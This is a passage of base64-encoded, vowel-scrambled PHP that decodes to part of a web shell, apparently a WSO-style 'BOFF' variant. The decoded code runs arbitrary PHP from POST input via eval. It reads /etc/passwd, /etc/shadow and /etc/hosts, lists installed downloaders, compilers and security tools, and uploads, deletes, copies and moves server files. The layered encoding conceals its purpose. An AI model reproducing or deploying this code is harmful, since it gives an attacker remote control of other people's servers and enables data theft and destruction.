0KICAgICAgICA1bHM1ICQ0ID0gJzMnOw0KICAgICAgICAkNCAuPSAoKCRwICYgMHgwNjAwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICQ0IC49ICgoJHAgJiAweDAwODApID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAgICAgJDQgLj0gKCgkcCAmIDB4MDBhMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkNCAuPSAoKCRwICYgMHgwMDYwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQogICAgICAgICQ0IC49ICgoJHAgJiAweDAwMHUpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJDQgLj0gKCgkcCAmIDB4MDAwYSkgPyAndycgOiAnLScpOw0KICAgICAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KICAgICAgICByNXQzcm4gJDQ7DQp9DQogDQpmM25jdDQybiBCT0ZGUDVybXNDMmwycigkZikgew0KICAgICAgICA0ZiAoIUA0c19yNTFkMWJsNSgkZikpDQogICAgICAgICAgICAgICAgcjV0M3JuICc8ZjJudCBjMmwycj0jRkYwMDAwPicgLiBCT0ZGUDVybXMoQGY0bDVwNXJtcygkZikpIC4gJzwvZjJudD4nOw0KICAgICAgICA1bHM1NGYgKCFANHNfd3I0dDFibDUoJGYpKQ0KICAgICAgICAgICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9d2g0dDU+JyAuIEJPRkZQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQogICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICByNXQzcm4gJzxmMm50IGMybDJyPSNhaWZmMDA+JyAuIEJPRkZQNXJtcyhAZjRsNXA1cm1zKCRmKSkgLiAnPC9mMm50Pic7DQp9DQogDQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCJzYzFuZDRyIikpIHsNCiAgICAgICAgZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQogICAgICAgICAgICAgICAgJGRoICA9IDJwNW5kNHIoJGQ0cik7DQogICAgICAgICAgICAgICAgd2g0bDUgKGYxbHM1ICE9PSAoJGY0bDVuMW01ID0gcjUxZGQ0cigkZGgpKSkNCiAgICAgICAgICAgICAgICAkZjRsNXNbXSA9ICRmNGw1bjFtNTsNCiAgICAgICAgICAgICAgICByNXQzcm4gJGY0bDVzOw0KICAgICAgICB9DQp9DQogDQpmM25jdDQybiBCT0ZGV2g0Y2goJHApIHsNCiAgICAgICAgJHAxdGggPSBCT0ZGRXgoJ3doNGNoICcgLiAkcCk7DQogICAgICAgIDRmKCE1bXB0eSgkcDF0aCkpDQogICAgICAgICAgICAgICAgcjV0M3JuICRwMXRoOw0KICAgICAgICByNXQzcm4gZjFsczU7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5TNWNJbmYyKCkgew0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29pOGU7JiNvZWk3OyYjb2VhOTsmI29lNjc7JiNvZXU2OyYjb2VhNjsmI29pODg7JiNvZWFvOyYjb2VvdTsmI29lNjc7JiNvZTY2OyYjb2VhNjsmI29lYTk7JiNvZTB1OyYjb2U2ZTsmI29lb287JiNvZTY4OyYjb2k4ZTsmI29lYTk7JiNvaTk2OyYjb2V1ODsmI29pOWk7JiNvZW9lOyYjb2U2OTsmI29lZTA7JiNvZTZpOyYjb2V1ODsmI29lYW87JiNvZWE5OyYjb2U2OTsmI29lZTA7PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICAgICAgZjNuY3Q0Mm4gQk9GRlM1Y1AxcjFtKCRuLCAkdikgew0KICAgICAgICAgICAgICAgICR2ID0gdHI0bSgkdik7DQogICAgICAgICAgICAgICAgNGYoJHYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxzcDFuPicgLiAkbiAuICc6IDwvc3Axbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJHYgLiAnPGJyPic7DQogICAgICAgICAgICAgICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxwcjUgY2wxc3M9bWw2PicgLiAkdiAuICc8L3ByNT4nOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgIA0KICAgICAgICBCT0ZGUzVjUDFyMW0oJ1M1cnY1ciBzMmZ0dzFyNScsIEBnNXQ1bnYoJ1NFUlZFUl9TT0ZUV0FSRScpKTsNCiAgICA0ZihmM25jdDQybl81eDRzdHMoJzFwMWNoNV9nNXRfbTJkM2w1cycpKQ0KICAgICAgICBCT0ZGUzVjUDFyMW0oJ0wyMWQ1ZCBBcDFjaDUgbTJkM2w1cycsIDRtcGwyZDUoJywgJywgMXAxY2g1X2c1dF9tMmQzbDVzKCkpKTsNCiAgICAgICAgQk9GRlM1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgJEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ10/JEdMT0JBTFNbJ2Q0czFibDVfZjNuY3Q0Mm5zJ106J24ybjUnKTsNCiAgICAgICAgQk9GRlM1Y1AxcjFtKCdPcDVuIGIxczUgZDRyJywgQDRuNF9nNXQoJzJwNW5fYjFzNWQ0cicpKTsNCiAgICAgICAgQk9GRlM1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KICAgICAgICBCT0ZGUzVjUDFyMW0oJ1MxZjUgbTJkNSA0bmNsM2Q1IGQ0cicsIEA0bjRfZzV0KCdzMWY1X20yZDVfNG5jbDNkNV9kNHInKSk7DQogICAgICAgIEJPRkZTNWNQMXIxbSgnY1VSTCBzM3BwMnJ0JywgZjNuY3Q0Mm5fNXg0c3RzKCdjM3JsX3Y1cnM0Mm4nKT8nNW4xYmw1ZCc6J24yJyk7DQogICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXlzcWxfZzV0X2NsNDVudF80bmYyJykpDQogICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nNXRfY2w0NW50XzRuZjIoKS4iKSI7DQogICAgICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnbXNzcWxfYzJubjVjdCcpKQ0KICAgICAgICAgICAgICAgICR0NW1wW10gPSAiTVNTUUwiOw0KICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoJ3BnX2Mybm41Y3QnKSkNCiAgICAgICAgICAgICAgICAkdDVtcFtdID0gIlAyc3RncjVTUUwiOw0KICAgICAgICA0ZihmM25jdDQybl81eDRzdHMoJzJjNF9jMm5uNWN0JykpDQogICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICJPcjFjbDUiOw0KICAgICAgICBCT0ZGUzVjUDFyMW0oJ1MzcHAycnQ1ZCBkMXQxYjFzNXMnLCA0bXBsMmQ1KCcsICcsICR0NW1wKSk7DQogICAgICAgIDVjaDIgJzxicj4nOw0KICAgICAgIA0KICAgICAgICA0ZigkR0xPQkFMU1snMnMnXSA9PSAnbjR4Jykgew0KICAgICAgICAgICAgICAgIEJPRkZTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9wMXNzd2QnLCBANHNfcjUxZDFibDUoJy81dGMvcDFzc3dkJyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIi81dGMvXCIsIFwicDFzc3dkXCIpJz5bdjQ1d108LzE+IjonbjInKTsNCiAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvc2gxZDJ3JywgQDRzX3I1MWQxYmw1KCcvNXRjL3NoMWQydycpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCI1dGNcIiwgXCJzaDFkMndcIiknPlt2NDV3XTwvMT4iOiduMicpOw0KICAgICAgICAgICAgICAgIEJPRkZTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCiAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ0Q0c3RyIG4xbTUnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvNHNzMzUubjV0JykpOw0KICAgICAgICAgICAgICAgIDRmKCEkR0xPQkFMU1snczFmNV9tMmQ1J10pIHsNCiAgICAgICAgICAgICQzczVyZjNsID0gMXJyMXkoJ2djYycsJ2xjYycsJ2NjJywnbGQnLCdtMWs1JywncGhwJywncDVybCcsJ3B5dGgybicsJ3IzYnknLCd0MXInLCdnejRwJywnYno0cCcsJ2J6NHBhJywnbmMnLCdsMmMxdDUnLCdzMzRkcDVybCcpOw0KICAgICAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICAgICAkZDJ3bmwyMWQ1cnMgPSAxcnIxeSgnd2c1dCcsJ2Y1dGNoJywnbHlueCcsJ2w0bmtzJywnYzNybCcsJ2c1dCcsJ2x3cC1tNHJyMnInKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIDVjaDIgJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCQzczVyZjNsIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihCT0ZGV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ1VzNXJmM2wnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0NW1wPTFycjF5KCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmMnI1MWNoICgkZDFuZzVyIDFzICQ0dDVtKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihCT0ZGV2g0Y2goJDR0NW0pKQ0KICAgICAgICAgICAgICAgICAgICAkdDVtcFtdID0gJDR0NW07DQogICAgICAgICAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ0Qxbmc1cicsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2ggKCRkMndubDIxZDVycyAxcyAkNHQ1bSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoQk9GRldoNGNoKCQ0dDVtKSkNCiAgICAgICAgICAgICAgICAgICAgJHQ1bXBbXSA9ICQ0dDVtOw0KICAgICAgICAgICAgICAgICAgICAgICAgQk9GRlM1Y1AxcjFtKCdEMndubDIxZDVycycsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNWNoMiAnPGJyLz4nOw0KICAgICAgICAgICAgQk9GRlM1Y1AxcjFtKCdIREQgc3AxYzUnLCBCT0ZGRXgoJ2RmIC1oJykpOw0KICAgICAgICAgICAgICAgICAgICAgICAgQk9GRlM1Y1AxcjFtKCdIMnN0cycsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy9oMnN0cycpKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgQk9GRlM1Y1AxcjFtKCdPUyBWNXJzNDJuJyxCT0ZGRXgoJ3Y1cicpKTsNCiAgICAgICAgICAgICAgICBCT0ZGUzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLEJPRkZFeCgnbjV0IDFjYzIzbnRzJykpOw0KICAgICAgICAgICAgICAgIEJPRkZTNWNQMXIxbSgnVXM1ciBBY2MyM250cycsQk9GRkV4KCduNXQgM3M1cicpKTsNCiAgICAgICAgfQ0KICAgICAgICA1Y2gyICc8L2Q0dj4nOw0KICAgICAgICBCT0ZGRjIydDVyKCk7DQp9DQogDQpmM25jdDQybiAxY3Q0Mm5QaHAoKSB7DQogICAgICAgIDRmKDRzczV0KCRfUE9TVFsnMWoxeCddKSkgew0KICAgICAgICAgICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10gPSB0cjM1Ow0KICAgICAgICAgICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgICAgICAgICAgNXYxbCgkX1BPU1RbJ3A2J10pOw0KICAgICAgICAgICAgICAgICR0NW1wID0gImQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS5zdHlsNS5kNHNwbDF5PScnO2QyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdQaHBPM3RwM3QnKS40bm41ckhUTUw9JyIgLiAxZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7DQogICAgICAgICAgICAgICAgNWNoMiBzdHJsNW4oJHQ1bXApLCAiXG4iLCAkdDVtcDsNCiAgICAgICAgICAgICAgICA1eDR0Ow0KICAgICAgICB9DQogICAgICAgIEJPRkZINTFkNXIoKTsNCiAgICAgICAgNGYoNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykpIHsNCiAgICAgICAgICAgICAgICA1Y2gyICc8aDY+UEhQIDRuZjI8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48c3R5bDU+LnAge2MybDJyOiMwMDA7fTwvc3R5bDU+JzsNCiAgICAgICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgICAgIHBocDRuZjIoKTsNCiAgICAgICAgICAgICAgICAkdG1wID0gMmJfZzV0X2NsNTFuKCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyEoYjJkeXwxOlx3K3xiMmR5LCB0ZCwgdGgsIGg2LCBoYSkgey4qfSFtczRVJywnJywkdG1wKTsNCiAgICAgICAgICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchdGQsIHRoIHsoLiopfSFtczRVJywnLjUsIC52LCAuaCwgLmggdGggeyQ2fScsJHRtcCk7DQogICAgICAgICAgICAgICAgNWNoMiBzdHJfcjVwbDFjNSgnPGg2JywnPGhhJywgJHRtcCkgLic8L2Q0dj48YnI+JzsNCiAgICAgICAgfQ0KICAgICAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkgJiYgITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICAgICAgICAgJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJzFqMXgnXSA9IGYxbHM1Ow0KICAgIDVjaDIgJzxoNj4mI29ldTg7JiNvaThlOyYjb2VvNzsmI29lNjg7JiNvZTA5OyYjb2k4ODsmI29lb2k7JiNvZWFlOyYjb2VvbzsmI29laWU7JiNvaTk2OyYjb2U2NjsmI29pOTk7JiNvZW9lOyYjb2U2MDsmI29lb287JiNvZTBpOyYjb2VvZTsmI29pOGk7JiNvZW91OyYjb2U2OTsgIFBIUC1jMmQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1wZiBtNXRoMmQ9cDJzdCAybnMzYm00dD0iNGYodGg0cy4xajF4LmNoNWNrNWQpezEoXCdQaHBcJyxuM2xsLHRoNHMuYzJkNS52MWwzNSk7fTVsczV7ZyhcJ1BocFwnLG4zbGwsdGg0cy5jMmQ1LnYxbDM1LFwnXCcpO31yNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT1jMmQ1IGNsMXNzPWI0ZzFyNTEgNGQ9UGhwQzJkNT4nLighNW1wdHkoJF9QT1NUWydwNiddKT9odG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncDYnXSk6JycpLic8L3Q1eHQxcjUxPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT1FdjFsIHN0eWw1PSJtMXJnNG4tdDJwOmlweCI+JzsNCiAgICAgICAgNWNoMiAnIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gJiNvZWFlOyYjb2VpZTsmI29pOTY7JiNvaThpOyYjb2VvdTsmI29lNjk7JiNvZWk2OyYjb2k5dTsmI29laTc7IEFKQVg8L2Yycm0+PHByNSA0ZD1QaHBPM3RwM3Qgc3R5bDU9IicuKDVtcHR5KCRfUE9TVFsncDYnXSk/J2Q0c3BsMXk6bjJuNTsnOicnKS4nbTFyZzRuLXQycDppcHg7IiBjbDFzcz1tbDY+JzsNCiAgICAgICAgNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCiAgICAgICAgICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICAgICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsNCiAgICAgICAgICAgICAgICA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoMmJfZzV0X2NsNTFuKCkpOw0KICAgICAgICB9DQogICAgICAgIDVjaDIgJzwvcHI1PjwvZDR2Pic7DQogICAgICAgIEJPRkZGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQybkY0bDVzTTFuKCkgew0KICAgICAgICBCT0ZGSDUxZDVyKCk7DQogICAgICAgIDVjaDIgJzxoNj4mI29pOWE7JiNvZW9vOyYjb2UwdTsmI29pOGk7JiNvZW91OyYjb2U2OTsmI29laWE7JiNvZTZpOyYjb2VhNjsmI29lZTA7PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PHNjcjRwdD5wNl89cGFfPXBvXz0iIjs8L3NjcjRwdD4nOw0KICAgICAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSkgew0KICAgICAgICAgICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGMxczUgJzNwbDIxZEY0bDUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZighQG0ydjVfM3BsMjFkNWRfZjRsNSgkX0ZJTEVTWydmJ11bJ3RtcF9uMW01J10sICRfRklMRVNbJ2YnXVsnbjFtNSddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICImI29laWE7JiNvZTY3OyYjb2VpZTsmI29lYWU7JiNvZW91OyYjb2U2NzsmI29lb3U7JiNvZTY5OyYjb2UwZTsgVXBsMTJkICYjb2VpYTsmI29lNmk7JiNvZWE2OyYjb2VlMDsmI29laWE7JiNvZTB1OyYjb2VpNzshIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICAgICAgICAgICAgICBjMXM1ICdta2Q0cic6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA1Y2gyICImI29laWE7JiNvZTY3OyYjb2VpZTsmI29lYWU7JiNvZW91OyYjb2U2NzsmI29lb3U7JiNvZTY5OyYjb2UwZTsmI29lYWU7JiNvZTY5OyYjb2VpNzsmI29lb3U7JiNvaTk2OyYjb2V1OTsmI29lNmk7JiNvZWk3OyYjb2U2NzsmI29laWE7JiNvZTB1OyYjb2VpNzsgISI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAnZDVsNXQ1JzoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gZDVsNXQ1RDRyKCRwMXRoKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHAxdGggPSAoczNic3RyKCRwMXRoLC02KT09Jy8nKSA/ICRwMXRoOiRwMXRoLicvJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGggID0gMnA1bmQ0cigkcDF0aCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCAoJDR0NW0gPSByNTFkZDRyKCRkaCkgKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQ0dDVtID0gJHAxdGguJDR0NW07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoIChiMXM1bjFtNSgkNHQ1bSkgPT0gIi4uIikgfHwgKGIxczVuMW01KCQ0dDVtKSA9PSAiLiIpICkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHlwNSA9IGY0bDV0eXA1KCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgkdHlwNSA9PSAiZDRyIikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZDVsNXQ1RDRyKCQ0dDVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDVsczUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkNHQ1bSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNsMnM1ZDRyKCRkaCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHJtZDRyKCRwMXRoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zig0c18xcnIxeShAJF9QT1NUWydmJ10pKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9QT1NUWydmJ10gMXMgJGYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRmID09ICcuLicpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZiA9IDNybGQ1YzJkNSgkZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGYpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkNWw1dDVENHIoJGYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNWxzNQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgYzFzNSAncDFzdDUnOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZigkX1NFU1NJT05bJzFjdCddID09ICdjMnB5Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYzbmN0NDJuIGMycHlfcDFzdDUoJGMsJHMsJGQpew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoNHNfZDRyKCRjLiRzKSl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZDRyKCRkLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGggPSBAMnA1bmQ0cigkYy4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoNGw1ICgoJGYgPSBAcjUxZGQ0cigkaCkpICE9PSBmMWxzNSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZiAoKCRmICE9ICIuIikgMW5kICgkZiAhPSAiLi4iKSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGMycHlfcDFzdDUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYoNHNfZjRsNSgkYy4kcykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjMnB5X3Axc3Q1KCRfU0VTU0lPTlsnYyddLCRmLCAkR0xPQkFMU1snY3dkJ10pOyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmKCRfU0VTU0lPTlsnMWN0J10gPT0gJ20ydjUnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZjNuY3Q0Mm4gbTJ2NV9wMXN0NSgkYywkcywkZCl7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA0Zig0c19kNHIoJGMuJHMpKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkNHIoJGQuJHMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEAycDVuZDRyKCRjLiRzKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2g0bDUgKCgkZiA9IEByNTFkZDRyKCRoKSkgIT09IGYxbHM1KQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmICgoJGYgIT0gIi4iKSAxbmQgKCRmICE9ICIuLiIpKQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYzJweV9wMXN0NSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZihANHNfZjRsNSgkYy4kcykpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjMnB5KCRjLiRzLCAkZC4kcyk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYycjUxY2goJF9TRVNTSU9OWydmJ10gMXMgJGYpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAcjVuMW01KCRfU0VTU0lPTlsnYyddLiRmLCAkR0xPQkFMU1snY3dkJ10uJGYpOw0KICAgICA